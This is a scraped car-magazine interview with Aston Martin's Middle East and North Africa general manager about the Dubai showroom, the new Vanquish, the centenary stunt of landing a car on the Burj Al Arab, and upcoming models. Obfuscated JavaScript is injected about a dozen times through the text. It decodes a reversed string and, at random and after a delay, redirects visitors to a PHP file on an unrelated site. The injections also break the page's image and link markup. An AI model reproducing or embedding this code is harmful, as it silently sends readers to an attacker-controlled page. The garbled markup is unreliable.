Dubai, UAE. crankandpiston grabs a quick word with general manager of Aston Martin Middle East and North Africa Neil Slade to discuss the new Vanquish, the company’s 100th anniversary celebrations, the forthcoming Rapide S, and just how difficult it is to land a car on the roof of the Burj Al Arab.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-13.jpg” alt=”” width=”728″ height=”484″ />
It’s been a busy couple of months for $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/aston_martin/” target=”_blank”>Aston Martin in the Middle East. First came the arrival of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/new-aston-martin-vanquish-the-best-ever/” target=”_blank”>the all-new Vanquish, followed swiftly by the opening of the marque’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/aston-martin-dubai-now-where-were-we/” target=”_blank”>brand new showroom in Dubai. If that wasn’t enough to keep company execs busy, landing a new Vanquish onto the roof of the Burj Al Arab in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-centenary-spectacular-dubai/” target=”_blank”>a world first stunt to celebrate Aston Martin’s 100th anniversary was safe to lead to a lack of sleep. Later in the year, Aston Martin will also be $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-rapide-s-four-door-style-goes-one-better/” target=”_blank”>rolling out the new Rapide S.
At the forefront of this recent campaign of activity is Aston Martin Middle East and North Africa general manager Neil Slade, with whom crankandpiston caught up recently for a chat.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-12.jpg” alt=”” width=”728″ height=”484″ />
Neil, Aston Martin makes its return to the Middle East after several years of absence. How difficult do you feel this new showroom is to the UAE?
“It’s absolutely crucial. We’ve been out of the market for two years, but we see the UAE as representing at least a third of the business, so this is a terrific opportunity. Whatever happens in Dubai ripples into the region and will only benefit our other regional dealerships.”
–
So what makes this particular showroom standout?
“I would say this Aston Martin facility is one of the top three in the world. It meets all our corporate standards, and is absolutely an example of our brand. That’s the most important thing. You can go to any dealership anywhere in the world, and it will be the same floor, the same lighting, the same Aston Martin. That’s important.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-17.jpg” alt=”” width=”728″ height=”484″ />
The company has been gone from the region for quite a while, and in that time many of Aston’s foremost industry rivals – Porsche in particular – have grown from strength to strength here. How difficult do you think it will be to boost Aston’s image in the Middle East again?
“It’s going to take a bit of time, but with the success of the James Bond film Skyfall” – in which the famous Aston Martin DB5 makes an appearance – “that’s already proving a big draw for us, so that’s good. We’re actually really lucky in that we’ve got a fantastic brand, we’re very well known, we’ve got the whole Bond thing, and we have a superb new product.
“Also, in the Middle East, we are the top-selling dealer in the world for the new Vanquish, and that’s before people have even driven it! Plus our range is now much more simplified to just the Vanquish, the DB9, the Rapide, and the V8 Vantage. That makes it really easy for our customers to understand the brand.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-23.jpg” alt=”” width=”728″ height=”484″ />
That’s going to be important. The Middle East has an enormous tuning culture, and this idea of ‘one-of-a-kind’ seems to be critical to luxury car sales and the aftermarket industry in general. Do you think then that Aston Martin as a brand will fit into the region?
“We’re a luxury brand. What makes us unique is that we sell ourselves as more of a lifestyle product. An Aston Martin is a car you can drive everyday but can also be part of an image. We’re not a statement company; we’re a little more sophisticated than that.”
–
Let’s move on then to the big world first: landing a car on top of the Burj Al Arab. It’s a big eye-opener, so how did that idea come about?
“We wanted to do something special for the Middle East, and we needed to put Dubai on the map. So what was iconic? We thought about Atlantis, and the Burj Khalifa, but kept coming back to the Burj Al Arab.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-24.jpg” alt=”” width=”728″ height=”484″ />
Aston Martin’s certainly not the first big player to make its way to the top…
“No, we’ve seen Roger Federer play tennis at the top, and we’ve seen Tiger Woods play golf there too. These are events that people still talk about today.
“So we wondered what we had to play with. We can’t drive a car around up there because there’s no space, but if we took a helicopter and landed a Vanquish on the top, that would be an amazing feat. Nobody has ever done that before. It’s a fantastic thing to do, and it just backs up the fact that Aston Martin has arrived in the Middle East.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-4.jpg” alt=”” width=”728″ height=”484″ />
It was though, presumably, a logistical nightmare?!
“[Laughs] Yes. After a lot of negotiation, we only had ten working days to get this organised, including insurance, licences, technical capabilities of aircraft, vehicle weight, balancing, and wind. That was the biggest factor.
“Don’t underestimate the wind at the top. It goes up the sails, and just goes round and round when it reaches the top. Every helicopter pilot we spoke to said this is most difficult pad to land on, let alone land something else underneath. But it’s paid off and I think we can be really proud of ourselves.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/03/aston-martin-dubai-7.jpg” alt=”” width=”728″ height=”484″ />
So, a new showroom, two new models, a major company event with celebrations occurring worldwide, and a car parked on top of a helipad. What on earth comes next after all that?!
“Hopefully we’ll grow into A Dhabi as well as Dubai, that’s definitely on the cards. We’ve got the new Rapide S coming out in April, which comes with a new engine, then towards the end of the year we’ve got the drop top Vanquish coming out, and wherever we go in the Middle East, we’re asked ‘where is the Aston Martin SUV?’ So we have a few things in the pipeline which I think will be exciting.”
– Shots courtesy of Camden Thrasher
